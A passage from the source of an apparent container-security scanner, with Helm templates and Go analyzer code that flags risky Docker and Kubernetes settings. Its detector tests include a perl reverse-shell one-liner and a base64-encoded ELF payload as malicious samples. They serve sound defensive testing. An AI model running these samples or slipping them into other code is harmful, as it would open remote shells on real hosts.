[Kubernetes](http://kubernetes.io) cluster using the [Helm](https://helm.sh) package manager. ## Prerequisites - Kubernetes 1.12+ - Helm 3+ ================================================ FILE: helm/vesta/templates/_helpers.tpl ================================================ {{/* Expand the name of the chart. */}} {{- define "vesta.name" -}} {{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }} {{- end }} {{/* Create a default fully qualified app name. We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec). If release name contains chart name it will be used as a full name. */}} {{- define "vesta.fullname" -}} {{- if .Values.fullnameOverride }} {{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }} {{- else }} {{- $name := default .Chart.Name .Values.nameOverride }} {{- if contains $name .Release.Name }} {{- .Release.Name | trunc 63 | trimSuffix "-" }} {{- else }} {{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }} {{- end }} {{- end }} {{- end }} {{/* Create chart name and version as used by the chart label. */}} {{- define "vesta.chart" -}} {{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }} {{- end }} {{/* Common labels */}} {{- define "vesta.labels" -}} helm.sh/chart: {{ include "vesta.chart" . }} {{ include "vesta.selectorLabels" . }} {{- if .Chart.AppVersion }} app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} {{- end }} app.kubernetes.io/managed-by: {{ .Release.Service }} {{- end }} {{/* Selector labels */}} {{- define "vesta.selectorLabels" -}} app.kubernetes.io/name: {{ include "vesta.name" . }} app.kubernetes.io/instance: {{ .Release.Name }} {{- end }} {{/* Create the name of the service account to use */}} {{- define "vesta.serviceAccountName" -}} {{- if .Values.serviceAccount.create }} {{- default (include "vesta.fullname" .) .Values.serviceAccount.name }} {{- else }} {{- default "default" .Values.serviceAccount.name }} {{- end }} {{- end }} ================================================ FILE: helm/vesta/templates/clusterrole.yaml ================================================ kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: {{ .Release.Name }}-clusterrole namespace: {{ .Release.Namespace }} rules: - apiGroups: ["*"] resources: ["*"] verbs: ["get", "watch", "list"] ================================================ FILE: helm/vesta/templates/clusterrolebinding.yaml ================================================ kind: ClusterRoleBinding apiVersion: rbac.authorization.k8s.io/v1 metadata: name: {{ include "vesta.fullname" . }}-clusterrolebinding subjects: - kind: ServiceAccount name: {{ include "vesta.fullname" . }} namespace: {{ .Release.Namespace }} roleRef: kind: ClusterRole name: {{ .Release.Name }}-clusterrole apiGroup: rbac.authorization.k8s.io ================================================ FILE: helm/vesta/templates/job.yaml ================================================ {{- range $job := .Values.jobs }} --- apiVersion: batch/v1 kind: Job metadata: name: "{{ $job.name }}" spec: template: spec: serviceAccountName: {{ include "vesta.fullname" $ }} containers: - name: {{ $job.name }} image: "{{ $job.image.repository }}:{{ $job.image.tag }}" imagePullPolicy: {{ $job.image.pullPolicy }} args: {{- range $value := $job.args }} - {{ $value}} {{- end }} restartPolicy: {{ $job.image.restartPolicy }} {{- end }} ================================================ FILE: helm/vesta/templates/serviceaccount.yaml ================================================ apiVersion: v1 kind: ServiceAccount metadata: name: {{ include "vesta.fullname" . }} namespace: {{ .Release.Namespace }} ================================================ FILE: helm/vesta/values.yaml ================================================ nameOverride: "" fullnameOverride: "" jobs: - name: vesta image: registry: docker.io repository: kvesta/vesta tag: latest pullPolicy: IfNotPresent restartPolicy: OnFailure args: - "analyze" - "k8s" ================================================ FILE: internal/analyzer/analyze.go ================================================ package analyzer import ( "context" "fmt" "log" "strings" "time" "github.com/docker/docker/api/types" "github.com/kvesta/vesta/config" "github.com/kvesta/vesta/pkg/osrelease" "github.com/kvesta/vesta/pkg/vulnlib" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" ) func (s *Scanner) Analyze(ctx context.Context) error { dockerInps, err := s.DApi.GetAllContainers() if err != nil { if strings.Contains(err.Error(), "Is the docker daemon running") { log.Printf("Cannot connect to docker service") return err } log.Printf("Cannot get all docker inpector, error: %v", err) return err } dockerImages, err := s.DApi.GetAllImage() if err != nil { log.Printf("Cannot get all docker images, error: %v", err) } err = s.checkDockerContext(ctx, dockerImages) if err != nil { log.Printf("failed to check docker context, error: %v", err) } log.Printf(config.Yellow("Begin container analyzing")) for _, in := range dockerInps { err := s.checkDockerList(in) if err != nil { log.Printf("Container %s check error, %v", in.ID[:12], err) } } return nil } func (ks *KScanner) Kanalyze(ctx context.Context) error { err := ks.checkKubernetesList(ctx) if err != nil { return err } return nil } func (s *Scanner) checkDockerList(config *types.ContainerJSON) error { var isVulnerable = false ths := []*threat{} // Checking privileged if ok, tlist := checkPrivileged(config); ok { ths = append(ths, tlist...) isVulnerable = true } // Checking mount volumes if ok, tlist := checkMount(config); ok { ths = append(ths, tlist...) isVulnerable = true } // Checking the strength of password if ok, tlist := checkEnvPassword(config); ok { ths = append(ths, tlist...) isVulnerable = true } // Checking network model if ok, tlist := checkNetworkModel(config, s.EngineVersion); ok { ths = append(ths, tlist...) isVulnerable = true } if ok, tlist := checkPid(config); ok { ths = append(ths, tlist...) isVulnerable = true } // Checking whether used the dangerous image if ok, tlist := checkImageUsed(config, s.VulnContainers); ok { ths = append(ths, tlist...) isVulnerable = true } if isVulnerable { sortSeverity(ths) con := &container{ ContainerID: config.ID[:12], ContainerName: config.Name[1:], Threats: ths, } if s.DApi.FindDockerService(con.ContainerName) { con.ContainerID += " | running in Docker Swarm" } s.VulnContainers = append(s.VulnContainers, con) } return nil } func (ks *KScanner) checkKubernetesList(ctx context.Context) error { version, err := ks.KClient.ServerVersion() if err != nil { if strings.Contains(err.Error(), "connection refused") { log.Printf("kubelet is not start") } else { log.Printf("failed to start Kubernetes, error: %v", err) } return err } ks.Version = version.String() // If k8s version less than v1.24, using the docker checking if compareVersion(ks.Version, "1.24", "0.0") && !ctx.Value("inside").(bool) { err = ks.dockershimCheck(ctx) if err != nil { log.Printf("failed to use docker to check, error: %v", err) } } else { err = ks.kernelCheck(ctx) if err != nil { log.Printf("failed to check kernel version, error: %v", err) } } nsList, err := ks.KClient. CoreV1(). Namespaces().List(context.TODO(), metav1.ListOptions{}) if err != nil { log.Printf("get namespace failed: %v", err) } err = ks.getNodeInfor(ctx) if err != nil { log.Printf("failed to get node information: %v", err) } // Check RBAC rules err = ks.checkClusterBinding() if err != nil { log.Printf("check RBAC failed, %v", err) } log.Printf(config.Yellow("Begin Pods analyzing")) log.Printf(config.Yellow("Begin ConfigMap and Secret analyzing")) log.Printf(config.Yellow("Begin RoleBinding analyzing")) log.Printf(config.Yellow("Begin Job and CronJob analyzing")) log.Printf(config.Yellow("Begin DaemonSet analyzing")) if ctx.Value("nameSpace") == "all" || ctx.Value("nameSpace") != "standard" { namespaceWhileList = []string{} } // Check configuration in namespace if ctx.Value("nameSpace") != "standard" && ctx.Value("nameSpace") != "all" { ns := ctx.Value("nameSpace") err = ks.checkRoleBinding(ns.(string)) if err != nil { log.Printf("check role binding failed in namespace: %s, %v", ns.(string), err) } err = ks.checkConfigMap(ns.(string)) if err != nil { log.Printf("check config map failed in namespace: %s, %v", ns.(string), err) } err = ks.checkSecret(ns.(string)) if err != nil { log.Printf("check secret failed in namespace: %s, %v", ns.(string), err) } err := ks.checkPod(ns.(string)) if err != nil { log.Printf("check pod failed in namespace: %s, %v", ns.(string), err) } err = ks.checkDaemonSet(ns.(string)) if err != nil { log.Printf("check daemonset failed in namespace: %s, %v", ns.(string), err) } err = ks.checkJobsOrCornJob(ns.(string)) if err != nil { log.Printf("check job failed in namespace: %s, %v", ns.(string), err) } } else { for _, ns := range nsList.Items { isNecessary := true // Check whether in the white list of namespaces for _, nswList := range namespaceWhileList { if ns.Name == nswList { isNecessary = false } } err = ks.checkConfigMap(ns.Name) if err != nil { log.Printf("check config map failed in namespace: %s, %v", ns.Name, err) } err = ks.checkSecret(ns.Name) if err != nil { log.Printf("check secret failed in namespace %s, %v", ns.Name, err) } if isNecessary { err = ks.checkRoleBinding(ns.Name) if err != nil { log.Printf("check role binding failed in namespace: %s, %v", ns.Name, err) } err := ks.checkPod(ns.Name) if err != nil { log.Printf("check pod failed in namespace: %s, %v", ns.Name, err) } } err = ks.checkDaemonSet(ns.Name) if err != nil { log.Printf("check daemonset failed in namespace: %s, %v", ns.Name, err) } err = ks.checkJobsOrCornJob(ns.Name) if err != nil { log.Printf("check job failed in namespace: %s, %v", ns.Name, err) } } } // Check PV and PVC err = ks.checkPersistentVolume() if err != nil { log.Printf("check pv and pvc failed, %v", err) } // Check PodSecurityPolicy err = ks.checkPodSecurityPolicy() if err != nil { log.Printf("check podSecurityPolicy failed, %v", err) } // Check certification expiration err = ks.checkCerts() if err != nil { log.Printf("check certification expiration failed, %v", err) } // Check Kubernetes CNI err = ks.checkCNI() if err != nil { log.Printf("check CNI failed, %v", err) } sortSeverity(ks.VulnConfigures) return nil } // checkDockerVersion check docker server version func checkDockerVersion(cli vulnlib.Client, serverVersion string) (bool, []*threat) { log.Printf(config.Yellow("Begin docker version analyzing")) var vuln = false tlist := []*threat{} rows, err := cli.QueryVulnByName("docker") if err != nil { return vuln, tlist } for _, row := range rows { if compareVersion(serverVersion, row.MaxVersion, row.MinVersion) { th := &threat{ Param: "Docker server", Value: serverVersion, Type: "K8s version less than v1.24", Describe: fmt.Sprintf("Docker server version is threated under the %s", row.CVEID), Reference: row.Description, Severity: strings.ToLower(row.Level), } tlist = append(tlist, th) vuln = true } } return vuln, tlist } // checkKernelVersion check kernel version for whether the kernel version // is under the vulnerable version which has a potential container escape // such as Dirty Cow,Dirty Pipe func checkKernelVersion(cli vulnlib.Client, kernelVersion osrelease.KernelVersion) (bool, []*threat) { var vuln = false tlist := []*threat{} var vulnKernelVersion = map[string]string{ "CVE-2016-5195": "Dirty Cow", "CVE-2020-14386": "CVE-2020-14386 with CAP_NET_RAW", "CVE-2021-22555": "CVE-2021-22555 kernel-netfilter", "CVE-2022-0847": "Dirty Pipe", "CVE-2022-0185": "CVE-2022-0185 with CAP_SYS_ADMIN", "CVE-2022-0492": "CVE-2022-0492 with CAP_SYS_ADMIN and v1 architecture of cgroups"} log.Printf(config.Yellow("Begin kernel version analyzing")) for cve, nickname := range vulnKernelVersion { var maxVersion, publishDate string underVuln := false rows, err := cli.QueryVulnByCVEID(cve) if err != nil { log.Printf("faield to search database, error: %v", err) break } for _, row := range rows { // The data of CVE-2016-5195 is not correct if cve == "CVE-2016-5195" { row.MaxVersion = "4.8.3" } if compareVersion(kernelVersion.Version, row.MaxVersion, row.MinVersion) && row.VulnName == "linux_kernel" { vuln, underVuln = true, true maxVersion = row.MaxVersion publishDate = row.PublishDate break } } if underVuln { th := &threat{ Param: "kernel version", Value: kernelVersion.Version, Type: "K8s version less than v1.24", Describe: fmt.Sprintf("Kernel version is suffering the %s vulnerablility below the version `%s`, ", nickname, strings.TrimPrefix(maxVersion, "=")), Reference: "Update kernel version or docker-desktop.", Severity: "critical", } pb, _ := time.Parse("2006-01-02", publishDate) if kernelVersion.BuiltDate.After(pb) { th.Describe += fmt.Sprintf("but it was compiled on %s, "+ "which is later than the date of vulnerability on %s.", kernelVersion.BuiltDate.Format("2006-01-02"), publishDate) th.Severity = "low" } else { th.Describe += "which has a potential container escape." } tlist = append(tlist, th) } } return vuln, tlist } ================================================ FILE: internal/analyzer/analyze_test.go ================================================ package analyzer import ( "reflect" "testing" ) func TestSortSeverity(t *testing.T) { type args struct { threats []*threat } tests := []struct { name string args args }{ { name: "sort_test_1", args: args{threats: []*threat{{Severity: "high"}, {Severity: "low"}, {Severity: "critical"}}}, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { sortSeverity(tt.args.threats) }) } } func TestWeakPassword(t *testing.T) { type args struct { p string } tests := []struct { name string args args want string wantErr bool }{ { name: "weakPassword", args: args{p: "root"}, want: "Weak", }, { name: "weakPassword", args: args{p: "Password123"}, want: "Weak", }, { name: "strongPassword", args: args{p: "dDjwC3m^BFXz6B#a"}, want: "Strong", }, { name: "strongConfusionPassword", args: args{p: "ior7LLvMsAujin3Y"}, want: "Strong", }, { name: "mediumPassword", args: args{p: "plDAYh"}, want: "Medium", }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got := checkWeakPassword(tt.args.p) if !reflect.DeepEqual(got, tt.want) { t.Errorf("checkWeakPassword() got = %v, want %v", got, tt.want) } }) } } func TestMalware(t *testing.T) { type args struct { command string } tests := []struct { name string args args want MalReporter wantErr bool }{ { name: "ELF base64", args: args{command: "XHg3Rlx4NDVceDRDXHg0Nlx4MDFceDAxXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDJceDAwXHgwM1x4MDBceDAxXHgwMFx4MDBceDAwXHg1NFx4ODBceDA0XHgwOFx4MzRceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MzRceDAwXHgyMFx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4ODBceDA0XHgwOFx4MDBceDgwXHgwNFx4MDhceENGXHgwMFx4MDBceDAwXHg0QVx4MDFceDAwXHgwMFx4MDdceDAwXHgwMFx4MDBceDAwXHgxMFx4MDBceDAwXHg2QVx4MEFceDVFXHgzMVx4REJceEY3XHhFM1x4NTNceDQzXHg1M1x4NkFceDAyXHhCMFx4NjZceDg5XHhFMVx4Q0RceDgwXHg5N1x4NUJceDY4XHhDMFx4QThceDEzXHhGM1x4NjhceDAyXHgwMFx4MTFceDVDXHg4OVx4RTFceDZBXHg2Nlx4NThceDUwXHg1MVx4NTdceDg5XHhFMVx4NDNceENEXHg4MFx4ODVceEMwXHg3OVx4MTlceDRFXHg3NFx4M0RceDY4XHhBMlx4MDBceDAwXHgwMFx4NThceDZBXHgwMFx4NkFceDA1XHg4OVx4RTNceDMxXHhDOVx4Q0RceDgwXHg4NVx4QzBceDc5XHhCRFx4RUJceDI3XHhCMlx4MDdceEI5XHgwMFx4MTBceDAwXHgwMFx4ODlceEUzXHhDMVx4RUJceDBDXHhDMVx4RTNceDBDXHhCMFx4N0RceENEXHg4MFx4ODVceEMwXHg3OFx4MTBceDVCXHg4OVx4RTFceDk5XHhCMlx4NkFceEIwXHgwM1x4Q0RceDgwXHg4NVx4QzBceDc4XHgwMlx4RkZceEUxXHhCOFx4MDFceDAwXHgwMFx4MDBceEJCXH=="}, want: MalReporter{ Types: Executable, Score: 0.9, Plain: "ELF LSB executable binary", }, }, { name: "Reverse shell", args: args{command: "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"127.0.0.1:9999\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"}, want: MalReporter{ Types: Confusion, Score: 0.99, Plain: "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socke", }, }, { name: "Normal environment", args: args{command: "SPq$b6^vuY8Bo2dM"}, want: MalReporter{ Types: Unknown, Score: 0.0, Plain: "SPq$b6^vuY8Bo2dM", }, }, { name: "Normal $PATH environment", args: args{command: "/usr/local/share/luajit-2.1.0-beta3/?.lua;/usr/local/share/lua/5.1/?.lua;/usr/local/lib/lua/?.lua;;"}, want: MalReporter{ Types: Unknown, Score: 0.0, Plain: "", }, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got := maliciousContentCheck(tt.args.command) if !reflect.DeepEqual(got, tt.want) { t.Errorf("maliciousContentCheck() got = %v, want %v", got, tt.want) } }) } } ================================================ FILE: internal/analyzer/docker.go ================================================ package analyzer import ( "context" "crypto/tls" "fmt" "io/ioutil" "log" "net/http" "regexp" "strings" "github.com/docker/docker/api/types" version2 "github.com/hashicorp/go-version" _config "github.com/kvesta/vesta/config" _image "github.com/kvesta/vesta/pkg/inspector" "github.com/kvesta/vesta/pkg/osrelease" "github.com/kvesta/vesta/pkg/vulnlib" "github.com/tidwall/gjson" ) func (s *Scanner) checkDockerContext(ctx context.Context, images []*_image.ImageInfo) error { cli := vulnlib.Client{} err := cli.Init() if err != nil { log.Printf("failed to init database, error: %v", err) } else { defer cli.DB.Close() } // Checking kernel version kernelVersion, err := osrelease.GetKernelVersion(context.Background()) if err != nil { log.Printf("failed to get kernel version: %v", err) } // Checking the docker swarm err = s.checkSwarm() if err != nil { log.Printf("docker swarm error: %v", err) } if ok, tlist := checkKernelVersion(cli, kernelVersion); ok { ct := &container{ ContainerID: "None", ContainerName: "Kernel", Threats: tlist, } s.VulnContainers = append(s.VulnContainers, ct) } // Check Docker server version if ok, tlist := checkDockerVersion(cli, s.ServerVersion); ok { ct := &container{ ContainerID: "None", ContainerName: "Server Version", Threats: tlist, } s.VulnContainers = append(s.VulnContainers, ct) } // Check 2375 unauthorized if ok, tlist := checkDockerUnauthorized(); ok { ct := &container{ ContainerID: "None", ContainerName: "Docker 2375 port", Threats: tlist, } s.VulnContainers = append(s.VulnContainers, ct) } // Check the repo's tag // We found that it is hard to exploit /* if ok, tlist := checkImages(images); ok { ct := &container{ ContainerID: "None", ContainerName: "Image Tag", Threats: tlist, } s.VulnContainers = append(s.VulnContainers, ct) } */ // Check image's history if ok, tlist := CheckHistories(images); ok { ct := &container{ ContainerID: "None", ContainerName: "Image Configuration", Threats: tlist, } s.VulnContainers = append(s.VulnContainers, ct) } return nil } func checkSwarmLabels(labels map[string]string, name, configType string) (bool, []*threat) { var vuln = false tlist := []*threat{} match := false for k, v := range labels { for _, p := range passKey { if p.MatchString(k) { match = true break } } if match { switch checkWeakPassword(v) { case "Weak": th := &threat{ Param: configType + " Label", Value: fmt.Sprintf("%s name: %s", configType, name), Describe: fmt.Sprintf("Lables '%s' has weak password: '%s'.", k, v), Severity: "high", } tlist = append(tlist, th) vuln = true case "Medium": th := &threat{ Param: configType + " Label", Value: fmt.Sprintf("%s name: %s", configType, name), Describe: fmt.Sprintf("Lables '%s' password '%s' "+ "need to be reinforced.", k, v), Severity: "low", } tlist = append(tlist, th) vuln = true } } } return vuln, tlist } func (s *Scanner) checkSwarmSecrets() error { var vuln = false tlist := []*threat{} ses, err := s.DApi. DCli. SecretList(context.Background(), types.SecretListOptions{}) if err != nil { log.Printf("failed to check docker config") return err } // TODO: check the content of the secret for _, se := range ses { vuln, tlist = checkSwarmLabels(se.Spec.Labels, se.Spec.Name, "Secret") } if vuln { ct := &container{ ContainerID: "None", ContainerName: "Docker Swarm Secret", Threats: tlist, } s.VulnContainers = append(s.VulnContainers, ct) } return nil } func (s *Scanner) checkSwarmConfigs() error { var vuln = false tlist := []*threat{} cons, err := s.DApi. DCli. ConfigList(context.Background(), types.ConfigListOptions{}) if err != nil { return err } for _, con := range cons { configData := string(con.Spec.Data) detect := maliciousContentCheck(configData) switch detect.Types { case Executable: th := &threat{ Param: "Config Data", Value: fmt.Sprintf("Config name: %s", con.Spec.Name), Describe: fmt.Sprintf("Malicious value found in config Data "+ "with the plain text '%s'.", detect.Plain), Severity: "high", } tlist = append(tlist, th) vuln = true case Confusion: th := &threat{ Param: "Config Data", Value: fmt.Sprintf("Config name: %s", con.Spec.Name), Describe: fmt.Sprintf("Confusion value found in config Data "+ "with the plain text '%s'.", detect.Plain), Severity: "high", } tlist = append(tlist, th) vuln = true default: // ignore } vulnLabel, tlistLabel := checkSwarmLabels(con.Spec.Labels, con.Spec.Name, "Config") if vulnLabel { vuln = true tlist = append(tlist, tlistLabel...) } } if vuln { ct := &container{ ContainerID: "None", ContainerName: "Docker Swarm Config", Threats: tlist, } s.VulnContainers = append(s.VulnContainers, ct) } return nil } func (s *Scanner) checkDockerService() error { var vuln = false tlist := []*threat{} sers, err := s.DApi. DCli. ServiceList(context.Background(), types.ServiceListOptions{}) if err != nil { return err } for _, se := range sers { // Checking the swarm config for _, c := range se.Spec.TaskTemplate.ContainerSpec.Configs { for _, v := range s.VulnContainers { if strings.Contains(v.ContainerName, "Docker Swarm Config") { for _, t := range v.Threats { if strings.HasSuffix(t.Value, c.ConfigName) { th := &threat{ Param: "Swarm Service", Value: fmt.Sprintf("Service Name: %s", se.Spec.Name), Describe: fmt.Sprintf("Docker Service is using the unsafe swarm config: '%s'.", c.ConfigName), Severity: t.Severity, } tlist = append(tlist, th) vuln = true break } } } } } // Checking the swarm secret for _, secret := range se.Spec.TaskTemplate.ContainerSpec.Secrets { for _, v := range s.VulnContainers { if strings.Contains(v.ContainerName, "Docker Swarm Secret") { for _, t := range v.Threats { if strings.HasSuffix(t.Value, secret.File.Name) { th := &threat{ Param: "Swarm Service", Value: fmt.Sprintf("Service Name: %s", se.Spec.Name), Describe: fmt.Sprintf("Docker Service is using the unsafe swarm secret: '%s'.", secret.File.Name), Severity: t.Severity, } tlist = append(tlist, th) vuln = true break } } } } } } if vuln { ct := &container{ ContainerID: "None", ContainerName: "Docker Swarm Service", Threats: tlist, } s.VulnContainers = append(s.VulnContainers, ct) } return nil } func (s *Scanner) checkSwarm() error { _, err := s.DApi. DCli. ServiceList(context.Background(), types.ServiceListOptions{}) if err != nil { if strings.Contains(err.Error(), "This node is not a swarm manager") { return nil } return err } log.Printf(_config.Yellow("Begin docker swarm analyzing")) err = s.checkSwarmConfigs() err = s.checkSwarmSecrets() err = s.checkDockerService() if err != nil { log.Printf("failed to check docker service") } return err } func checkPrivileged(config *types.ContainerJSON) (bool, []*threat) { var vuln = false tlist := []*threat{} capList, highestSeverity := "", "medium" for _, capadd := range config.HostConfig.CapAdd { for c, s := range dangerCaps { if capadd == c { capList += capadd + " " if _config.SeverityMap[s] > _config.SeverityMap[highestSeverity] { highestSeverity = s } vuln = true } } if capadd == "CAP_DAC_READ_SEARCH" { th := &threat{ Param: "CapAdd", Value: "CAP_DAC_READ_SEARCH", Describe: "There has a potential arbitrary file leakage.", Severity: "medium", } tlist = append(tlist, th) } } if vuln { th := &threat{ Param: "CapAdd", Value: capList, Describe: "There has a potential container escape in privileged module.", Severity: highestSeverity, } tlist = append(tlist, th) } if config.HostConfig.Privileged { th := &threat{ Param: "Privileged", Value: "true", Describe: "There has a potential container escape in privileged module.", Severity: "critical", } tlist = append(tlist, th) vuln = true } return vuln, tlist } func checkMount(config *types.ContainerJSON) (bool, []*threat) { var vuln = false mounts := config.Mounts tlist := []*threat{} for _, mount := range mounts { if isVuln := checkMountPath(mount.Source); isVuln { th := &threat{ Param: "Mount", Value: mount.Source, Describe: fmt.Sprintf("Mount '%s' in '%s' is suffer vulnerable of "+ "container escape.", mount.Source, mount.Destination), Severity: "critical", } tlist = append(tlist, th) vuln = true } } return vuln, tlist } func checkEnvPassword(config *types.ContainerJSON) (bool, []*threat) { var vuln = false var password string tlist := []*threat{} imageVersion := config.Config.Image // Check weakness password if strings.Contains(imageVersion, "mysql") || strings.Contains(imageVersion, "postgres") { mysqlReg := regexp.MustCompile(`MYSQL_ROOT_PASSWORD=(.*)`) postgReqs := regexp.MustCompile(`POSTGRES_PASSWORD=(.*)`) env := config.Config.Env for _, e := range env { mysqlPass := mysqlReg.FindStringSubmatch(e) postPass := postgReqs.FindStringSubmatch(e) if len(mysqlPass) > 1 { password = mysqlPass[1] } else if len(postPass) > 1 { password = postPass[1] } else { continue } switch checkWeakPassword(password) { case "Weak": th := &threat{ Param: "Weak Password", Value: fmt.Sprintf("Password: '%s'", password), Describe: fmt.Sprintf("%s has weak password: '%s'.", imageVersion, password), Severity: "high", } tlist = append(tlist, th) vuln = true case "Medium": th := &threat{ Param: "Password need to be reinforced", Value: fmt.Sprintf("Password: '%s'", password), Describe: fmt.Sprintf("%s password '%s' "+ "need to be reinforced.", imageVersion, password), Severity: "low", } tlist = append(tlist, th) vuln = true } } } else if strings.Contains(imageVersion, "redis") { args := config.Args requirepass := false for _, arg := range args { if strings.Contains(arg, "--requirepass") { requirepass = true } if requirepass { password := arg switch checkWeakPassword(password) { case "Weak": th := &threat{ Param: "Weak Password", Value: fmt.Sprintf("Password: '%s'", password), Describe: fmt.Sprintf("Redis has weak password: '%s'.", password), Severity: "high", } tlist = append(tlist, th) vuln = true case "Medium": th := &threat{ Param: "Password need to be reinforced", Value: fmt.Sprintf("Password: '%s'", password), Describe: fmt.Sprintf("Redis password '%s' "+ "need to be reinforced.", password), Severity: "medium", } tlist = append(tlist, th) vuln = true } } } } return vuln, tlist } // checkNetworkModel check container network model //reference: https://github.com/containerd/containerd/security/advisories/GHSA-36xw-fx78-c5r4 func checkNetworkModel(config *types.ContainerJSON, version string) (bool, []*threat) { var vuln = false tlist := []*threat{} if config.HostConfig.NetworkMode == "host" { currentVersion, _ := version2.NewVersion(version) maxVersion, _ := version2.NewVersion("1.3.7") if currentVersion.Compare(maxVersion) <= 0 || version == "1.4.1" || version == "1.4.0" { th := &threat{ Param: "network", Value: "host", Describe: fmt.Sprintf("Containerd version is %s lower than 1.3.7 or 1.4.1"+ " is suffer vulnerable of CVE-2020-15257.", version), Reference: "https://github.com/containerd/containerd/security/advisories/GHSA-36xw-fx78-c5r4", Severity: "critical", } tlist = append(tlist, th) vuln = true } if !vuln { th := &threat{ Param: "network", Value: "host", Describe: "Docker container is running with `--net=host`, " + "which will exposed the network of physical machine.", Severity: "medium", } tlist = append(tlist, th) vuln = true } } return vuln, tlist } func checkPid(config *types.ContainerJSON) (bool, []*threat) { var vuln = false tlist := []*threat{} if config.HostConfig.PidMode == "host" { th := &threat{ Param: "pid", Value: "host", Describe: "Docker container is run with `--pid=host`, " + "which attackers can see all the processes in physical machine" + " and cause the potential container escape.", Severity: "high", } tlist = append(tlist, th) vuln = true } return vuln, tlist } func checkImageUsed(config *types.ContainerJSON, vulnContainers []*container) (bool, []*threat) { var vuln = false tlist := []*threat{} imageMixed := strings.Split(config.Image, ":") imageID := imageMixed[1][:12] for _, v := range vulnContainers { if strings.Contains(v.ContainerName, "Image Configuration") { for _, ids := range v.Threats { if strings.Contains(ids.Value, imageID) { th := &threat{ Param: "Dangerous image", Value: fmt.Sprintf("Image ID: %s", imageID), Describe: "Docker container used dangerous image.", Severity: ids.Severity, } tlist = append(tlist, th) vuln = true break } } } } return vuln, tlist } func checkDockerUnauthorized() (bool, []*threat) { log.Printf(_config.Yellow("Begin unauthorized analyzing")) var vuln = false tlist := []*threat{} client := &http.Client{ Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } var request *http.Request request, err := http.NewRequest("GET", "http://0.0.0.0:2375/info", nil) if err != nil { return vuln, tlist } resp, err := client.Do(request) if err != nil { return vuln, tlist } defer resp.Body.Close() content, err := ioutil.ReadAll(resp.Body) if err != nil { return vuln, tlist } value := gjson.Parse(string(content)) if value.Get("Containers").Value() != nil { th := &threat{ Param: "Docker unauthorized", Value: "0.0.0.0:2375", Describe: "Exporting 2375 port is suffering the container escape.", Reference: "Delete row which contained `tcp://0.0.0.0:2375`.", Severity: "critical", } tlist = append(tlist, th) vuln = true } return vuln, tlist } func checkImages(images []*_image.ImageInfo) (bool, []*threat) { log.Printf(_config.Yellow("Begin image analyzing")) var vuln = false tlist := []*threat{} for _, image := range images { if len(image.Summary.RepoTags) < 1 { sha := strings.Split(image.Summary.ID, ":")[1] th := &threat{ Param: "Image ID", Value: sha[:12], Describe: fmt.Sprintf("Image Id %s is not tagged, suspectable image.", sha[:12]), Severity: "low", } tlist = append(tlist, th) vuln = true continue } repoTag := strings.Split(image.Summary.RepoTags[0], ":") if len(repoTag) > 1 && repoTag[1] == "latest" { th := &threat{ Param: "Image Name", Value: image.Summary.RepoTags[0], Describe: "Using the latest tag will be suffered potential image hijack.", Severity: "low", } tlist = append(tlist, th) vuln = true } } return vuln, tlist } ================================================ FILE: internal/analyzer/docker_history.go ================================================ package analyzer import ( "fmt" "log" "regexp" "strings" imagev1 "github.com/docker/docker/api/types/image" _config "github.com/kvesta/vesta/config" _image "github.com/kvesta/vesta/pkg/inspector" ) func CheckHistories(images []*_image.ImageInfo) (bool, []*threat) { log.Printf(_config.Yellow("Begin image histories analyzing")) var vuln = false tlist := []*threat{} echoReg := regexp.MustCompile(`echo ["|'](.*?)["|']`) for _, img := range images { env := getEnv(img.History) // Check the sensitive environment if ok, tl := checkEnv(env); ok { for _, th := range tl { th.Value = fmt.Sprintf("Image name: %s | "+ "Image ID: %s", img.Summary.RepoTags[0], strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]) tlist = append(tlist, th) } vuln = true } for _, layer := range img.History { pruneLayerAfter1 := strings.TrimPrefix(layer.CreatedBy, "/bin/sh -c ") pruneLayerAfter2 := strings.TrimPrefix(pruneLayerAfter1, "#(nop)") pruneLayer := strings.TrimSpace(pruneLayerAfter2) link := strings.Split(pruneLayer, " ")[0] switch link { case "CMD", "ADD", "ARG", "LABEL", "COPY", "EXPOSE", "ENTRYPOINT", "USER": continue case "WORKDIR": // Check CVE-2024-21626 values := strings.Split(pruneLayer, " ") if cveRuncRegex.MatchString(values[1]) { th := &threat{ Param: "Image History", Value: fmt.Sprintf("Image name: %s | "+ "Image ID: %s", img.Summary.RepoTags[0], strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), Describe: "Detected malicious image based on CVE-2024-21626, " + "which has a link of /proc/self/fd.", Severity: "high", } tlist = append(tlist, th) vuln = true } case "ENV": values := strings.Split(pruneLayer, "=") detect := maliciousContentCheck(values[1]) switch detect.Types { case Executable: th := &threat{ Param: "Image History", Value: fmt.Sprintf("Image name: %s | "+ "Image ID: %s", img.Summary.RepoTags[0], strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), Describe: fmt.Sprintf("Executable value found in ENV: '%s' "+ "with the plain text '%s'.", strings.TrimPrefix(values[0], "ENV "), detect.Plain), Severity: "high", } tlist = append(tlist, th) vuln = true case Confusion: th := &threat{ Param: "Image History", Value: fmt.Sprintf("Image name: %s | "+ "Image ID: 